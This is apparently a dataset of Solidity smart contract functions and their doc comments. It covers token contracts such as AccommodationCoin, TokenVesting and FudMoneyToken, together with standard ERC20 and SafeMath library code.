AccommodationCoin | AccommodationCoin.sol | 0x952a6655d71a4a7b70cb36fd95317e8738d0afe5 | Solidity | TokenERC20 | contract TokenERC20 {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
//
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (a... | transfer | function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
| /**
* Function to Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://dcb301cadd4acfe89888fa0f0989633c4afef755aca4ee83ff04b7f1f2b6690b | {
"func_code_index": [
1847,
1945
]
} | 12,469 | |||
AccommodationCoin | AccommodationCoin.sol | 0x952a6655d71a4a7b70cb36fd95317e8738d0afe5 | Solidity | TokenERC20 | contract TokenERC20 {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
//
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (a... | transferFrom | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
| /**
* function to Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://dcb301cadd4acfe89888fa0f0989633c4afef755aca4ee83ff04b7f1f2b6690b | {
"func_code_index": [
2188,
2415
]
} | 12,470 | |||
AccommodationCoin | AccommodationCoin.sol | 0x952a6655d71a4a7b70cb36fd95317e8738d0afe5 | Solidity | TokenERC20 | contract TokenERC20 {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
//
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (a... | approve | function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
| /**
* function Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://dcb301cadd4acfe89888fa0f0989633c4afef755aca4ee83ff04b7f1f2b6690b | {
"func_code_index": [
2649,
2796
]
} | 12,471 | |||
AccommodationCoin | AccommodationCoin.sol | 0x952a6655d71a4a7b70cb36fd95317e8738d0afe5 | Solidity | TokenERC20 | contract TokenERC20 {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
//
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (a... | burn | function burn(uint256 _value) public returns (bool success) {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
| /**
*Function to Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://dcb301cadd4acfe89888fa0f0989633c4afef755aca4ee83ff04b7f1f2b6690b | {
"func_code_index": [
2945,
3247
]
} | 12,472 | |||
AccommodationCoin | AccommodationCoin.sol | 0x952a6655d71a4a7b70cb36fd95317e8738d0afe5 | Solidity | TokenERC20 | contract TokenERC20 {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
//
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (a... | burnFrom | function burnFrom(address _from, uint256 _value) public returns (bool success) {
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] =allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowanc... | /**
* Destroy tokens from other ccount
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://dcb301cadd4acfe89888fa0f0989633c4afef755aca4ee83ff04b7f1f2b6690b | {
"func_code_index": [
3469,
3932
]
} | 12,473 | |||
AccommodationCoin | AccommodationCoin.sol | 0x952a6655d71a4a7b70cb36fd95317e8738d0afe5 | Solidity | AccommodationCoin | contract AccommodationCoin is owned, TokenERC20 {
//Modify these variables
uint256 _initialSupply=100000000;
string _tokenName="Accommodation Coin";
string _tokenSymbol="ACC";
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify ... | /******************************************/ | NatSpecMultiLine | AccommodationCoin | function AccommodationCoin( ) TokenERC20(_initialSupply, _tokenName, _tokenSymbol) public {}
| /* Initializes contract with initial supply tokens to the creator of the contract */ | Comment | v0.4.24+commit.e67f0147 | bzzr://dcb301cadd4acfe89888fa0f0989633c4afef755aca4ee83ff04b7f1f2b6690b | {
"func_code_index": [
473,
568
]
} | 12,474 | |
AccommodationCoin | AccommodationCoin.sol | 0x952a6655d71a4a7b70cb36fd95317e8738d0afe5 | Solidity | AccommodationCoin | contract AccommodationCoin is owned, TokenERC20 {
//Modify these variables
uint256 _initialSupply=100000000;
string _tokenName="Accommodation Coin";
string _tokenSymbol="ACC";
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify ... | /******************************************/ | NatSpecMultiLine | _transfer | function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); ... | /* Internal transfer, only can be called by this contract. */ | Comment | v0.4.24+commit.e67f0147 | bzzr://dcb301cadd4acfe89888fa0f0989633c4afef755aca4ee83ff04b7f1f2b6690b | {
"func_code_index": [
636,
1256
]
} | 12,475 | |
AccommodationCoin | AccommodationCoin.sol | 0x952a6655d71a4a7b70cb36fd95317e8738d0afe5 | Solidity | AccommodationCoin | contract AccommodationCoin is owned, TokenERC20 {
//Modify these variables
uint256 _initialSupply=100000000;
string _tokenName="Accommodation Coin";
string _tokenSymbol="ACC";
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify ... | /******************************************/ | NatSpecMultiLine | mintToken | function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
| /// function to create more coins and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive | NatSpecSingleLine | v0.4.24+commit.e67f0147 | bzzr://dcb301cadd4acfe89888fa0f0989633c4afef755aca4ee83ff04b7f1f2b6690b | {
"func_code_index": [
1435,
1721
]
} | 12,476 | |
TokenVesting | TokenVesting.sol | 0xb8ccbbbc73fc463f10b138a81f28b24e0e41d697 | Solidity | TokenVesting | contract TokenVesting is Ownable {
// The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is
// therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore,
// it is recommended to avoid using short time ... | /**
* @title PartnersVesting
* @dev A token holder contract that can release its token balance gradually at different vesting points
*/ | NatSpecMultiLine | beneficiary | function beneficiary() public view returns (address) {
return _beneficiary;
}
| /**
* @return the beneficiary of the tokens.
*/ | NatSpecMultiLine | v0.5.10+commit.5a6ea5b1 | MIT | bzzr://f0d1f65a586b6de702c6f6003083bf1f4f66d25fe5fa132e4fbe25feb66b072b | {
"func_code_index": [
2220,
2313
]
} | 12,477 |
TokenVesting | TokenVesting.sol | 0xb8ccbbbc73fc463f10b138a81f28b24e0e41d697 | Solidity | TokenVesting | contract TokenVesting is Ownable {
// The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is
// therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore,
// it is recommended to avoid using short time ... | /**
* @title PartnersVesting
* @dev A token holder contract that can release its token balance gradually at different vesting points
*/ | NatSpecMultiLine | totalAmount | function totalAmount() public view returns (uint256) {
return _amount;
}
| /**
* @return the start time of the token vesting.
*/ | NatSpecMultiLine | v0.5.10+commit.5a6ea5b1 | MIT | bzzr://f0d1f65a586b6de702c6f6003083bf1f4f66d25fe5fa132e4fbe25feb66b072b | {
"func_code_index": [
2383,
2471
]
} | 12,478 |
TokenVesting | TokenVesting.sol | 0xb8ccbbbc73fc463f10b138a81f28b24e0e41d697 | Solidity | TokenVesting | contract TokenVesting is Ownable {
// The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is
// therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore,
// it is recommended to avoid using short time ... | /**
* @title PartnersVesting
* @dev A token holder contract that can release its token balance gradually at different vesting points
*/ | NatSpecMultiLine | released | function released() public view returns (uint256) {
return _released;
}
| /**
* @return the amount of the token released.
*/ | NatSpecMultiLine | v0.5.10+commit.5a6ea5b1 | MIT | bzzr://f0d1f65a586b6de702c6f6003083bf1f4f66d25fe5fa132e4fbe25feb66b072b | {
"func_code_index": [
2538,
2625
]
} | 12,479 |
TokenVesting | TokenVesting.sol | 0xb8ccbbbc73fc463f10b138a81f28b24e0e41d697 | Solidity | TokenVesting | contract TokenVesting is Ownable {
// The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is
// therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore,
// it is recommended to avoid using short time ... | /**
* @title PartnersVesting
* @dev A token holder contract that can release its token balance gradually at different vesting points
*/ | NatSpecMultiLine | vestedAmount | function vestedAmount(uint256 ts) public view returns (uint256) {
int8 unreleasedIdx = _releasableIdx(ts);
if (unreleasedIdx >= 0) {
return _amount.mul(_percent[uint(unreleasedIdx)]).div(100);
} else {
return 0;
}
}
| /**
* @return the vested amount of the token for a particular timestamp.
*/ | NatSpecMultiLine | v0.5.10+commit.5a6ea5b1 | MIT | bzzr://f0d1f65a586b6de702c6f6003083bf1f4f66d25fe5fa132e4fbe25feb66b072b | {
"func_code_index": [
2717,
2997
]
} | 12,480 |
TokenVesting | TokenVesting.sol | 0xb8ccbbbc73fc463f10b138a81f28b24e0e41d697 | Solidity | TokenVesting | contract TokenVesting is Ownable {
// The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is
// therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore,
// it is recommended to avoid using short time ... | /**
* @title PartnersVesting
* @dev A token holder contract that can release its token balance gradually at different vesting points
*/ | NatSpecMultiLine | revoke | function revoke(uint256 amount) public onlyOwner {
_token.safeTransfer(owner(), amount);
}
| /**
* @notice Allows the owner to revoke the vesting. Tokens already vested
* remain in the contract, the rest are returned to the owner.
*/ | NatSpecMultiLine | v0.5.10+commit.5a6ea5b1 | MIT | bzzr://f0d1f65a586b6de702c6f6003083bf1f4f66d25fe5fa132e4fbe25feb66b072b | {
"func_code_index": [
3159,
3265
]
} | 12,481 |
TokenVesting | TokenVesting.sol | 0xb8ccbbbc73fc463f10b138a81f28b24e0e41d697 | Solidity | TokenVesting | contract TokenVesting is Ownable {
// The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is
// therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore,
// it is recommended to avoid using short time ... | /**
* @title PartnersVesting
* @dev A token holder contract that can release its token balance gradually at different vesting points
*/ | NatSpecMultiLine | release | function release() public {
int8 unreleasedIdx = _releasableIdx(block.timestamp);
require(unreleasedIdx >= 0, "TokenVesting: no tokens are due");
uint256 unreleasedAmount = _amount.mul(_percent[uint(unreleasedIdx)]).div(100);
_token.safeTransfer(_beneficiary, unreleasedAmount);
_percent[uint(unr... | /**
* @notice Transfers vested tokens to beneficiary.
*/ | NatSpecMultiLine | v0.5.10+commit.5a6ea5b1 | MIT | bzzr://f0d1f65a586b6de702c6f6003083bf1f4f66d25fe5fa132e4fbe25feb66b072b | {
"func_code_index": [
3338,
3823
]
} | 12,482 |
TokenVesting | TokenVesting.sol | 0xb8ccbbbc73fc463f10b138a81f28b24e0e41d697 | Solidity | TokenVesting | contract TokenVesting is Ownable {
// The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is
// therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore,
// it is recommended to avoid using short time ... | /**
* @title PartnersVesting
* @dev A token holder contract that can release its token balance gradually at different vesting points
*/ | NatSpecMultiLine | _releasableIdx | function _releasableIdx(uint256 ts) private view returns (int8) {
for (uint8 i = 0; i < _schedule.length; i++) {
if (ts > _schedule[i] && _percent[i] > 0) {
return int8(i);
}
}
return -1;
}
| /**
* @dev Calculates the index that has already vested but hasn't been released yet.
*/ | NatSpecMultiLine | v0.5.10+commit.5a6ea5b1 | MIT | bzzr://f0d1f65a586b6de702c6f6003083bf1f4f66d25fe5fa132e4fbe25feb66b072b | {
"func_code_index": [
3928,
4190
]
} | 12,483 |
FudMoneyToken | contracts/FudMoneyToken.sol | 0xa44063192609409443b973ede2bfbee56b4764dd | Solidity | FudMoneyToken | contract FudMoneyToken is ERC20("Fud.Money", "Fud.Money"), Ownable {
using SafeMath for uint256;
address register;
address ease;
constructor(address _register, address _ease) public {
register = _register;
ease = _ease;
}
// mints new fud.money tokens, can only be called ... | mint | function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
transferRe(_amount);
}
| // mints new fud.money tokens, can only be called by shill.money contract | LineComment | v0.6.12+commit.27d51765 | MIT | ipfs://b8449660bd43c76f93b75b6553748338912a55013cf32be8c7665b1fbda90bda | {
"func_code_index": [
345,
479
]
} | 12,484 | ||
MetadataPooledCDAIFactory | MetadataPooledCDAIFactory.sol | 0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @de... | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() external view returns (uint256);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.5.10+commit.5a6ea5b1 | bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a | {
"func_code_index": [
90,
149
]
} | 12,485 | |
MetadataPooledCDAIFactory | MetadataPooledCDAIFactory.sol | 0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @de... | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.5.10+commit.5a6ea5b1 | bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a | {
"func_code_index": [
228,
300
]
} | 12,486 | |
MetadataPooledCDAIFactory | MetadataPooledCDAIFactory.sol | 0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @de... | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/ | NatSpecMultiLine | transfer | function transfer(address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/ | NatSpecMultiLine | v0.5.10+commit.5a6ea5b1 | bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a | {
"func_code_index": [
516,
597
]
} | 12,487 | |
MetadataPooledCDAIFactory | MetadataPooledCDAIFactory.sol | 0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @de... | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/ | NatSpecMultiLine | allowance | function allowance(address owner, address spender) external view returns (uint256);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/ | NatSpecMultiLine | v0.5.10+commit.5a6ea5b1 | bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a | {
"func_code_index": [
868,
955
]
} | 12,488 | |
MetadataPooledCDAIFactory | MetadataPooledCDAIFactory.sol | 0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @de... | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/ | NatSpecMultiLine | approve | function approve(address spender, uint256 amount) external returns (bool);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ... | NatSpecMultiLine | v0.5.10+commit.5a6ea5b1 | bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a | {
"func_code_index": [
1595,
1673
]
} | 12,489 | |
MetadataPooledCDAIFactory | MetadataPooledCDAIFactory.sol | 0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @de... | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/ | NatSpecMultiLine | v0.5.10+commit.5a6ea5b1 | bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a | {
"func_code_index": [
1976,
2077
]
} | 12,490 | |
MetadataPooledCDAIFactory | MetadataPooledCDAIFactory.sol | 0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming language... | NatSpecMultiLine | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.5.10+commit.5a6ea5b1 | bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a | {
"func_code_index": [
241,
421
]
} | 12,491 | |
MetadataPooledCDAIFactory | MetadataPooledCDAIFactory.sol | 0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming language... | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.5.10+commit.5a6ea5b1 | bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a | {
"func_code_index": [
681,
864
]
} | 12,492 | |
MetadataPooledCDAIFactory | MetadataPooledCDAIFactory.sol | 0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming language... | NatSpecMultiLine | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
... | /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.5.10+commit.5a6ea5b1 | bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a | {
"func_code_index": [
1100,
1562
]
} | 12,493 | |
MetadataPooledCDAIFactory | MetadataPooledCDAIFactory.sol | 0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming language... | NatSpecMultiLine | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (co... | NatSpecMultiLine | v0.5.10+commit.5a6ea5b1 | bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a | {
"func_code_index": [
2013,
2343
]
} | 12,494 | |
MetadataPooledCDAIFactory | MetadataPooledCDAIFactory.sol | 0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming language... | NatSpecMultiLine | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all... | NatSpecMultiLine | v0.5.10+commit.5a6ea5b1 | bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a | {
"func_code_index": [
2783,
2936
]
} | 12,495 | |
MetadataPooledCDAIFactory | MetadataPooledCDAIFactory.sol | 0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view ret... | /**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implem... | NatSpecMultiLine | totalSupply | function totalSupply() public view returns (uint256) {
return _totalSupply;
}
| /**
* @dev See `IERC20.totalSupply`.
*/ | NatSpecMultiLine | v0.5.10+commit.5a6ea5b1 | bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a | {
"func_code_index": [
278,
371
]
} | 12,496 | |
MetadataPooledCDAIFactory | MetadataPooledCDAIFactory.sol | 0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view ret... | /**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implem... | NatSpecMultiLine | balanceOf | function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
| /**
* @dev See `IERC20.balanceOf`.
*/ | NatSpecMultiLine | v0.5.10+commit.5a6ea5b1 | bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a | {
"func_code_index": [
425,
537
]
} | 12,497 | |
MetadataPooledCDAIFactory | MetadataPooledCDAIFactory.sol | 0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view ret... | /**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implem... | NatSpecMultiLine | transfer | function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
| /**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.5.10+commit.5a6ea5b1 | bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a | {
"func_code_index": [
736,
893
]
} | 12,498 | |
MetadataPooledCDAIFactory | MetadataPooledCDAIFactory.sol | 0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view ret... | /**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implem... | NatSpecMultiLine | allowance | function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
| /**
* @dev See `IERC20.allowance`.
*/ | NatSpecMultiLine | v0.5.10+commit.5a6ea5b1 | bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a | {
"func_code_index": [
947,
1083
]
} | 12,499 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.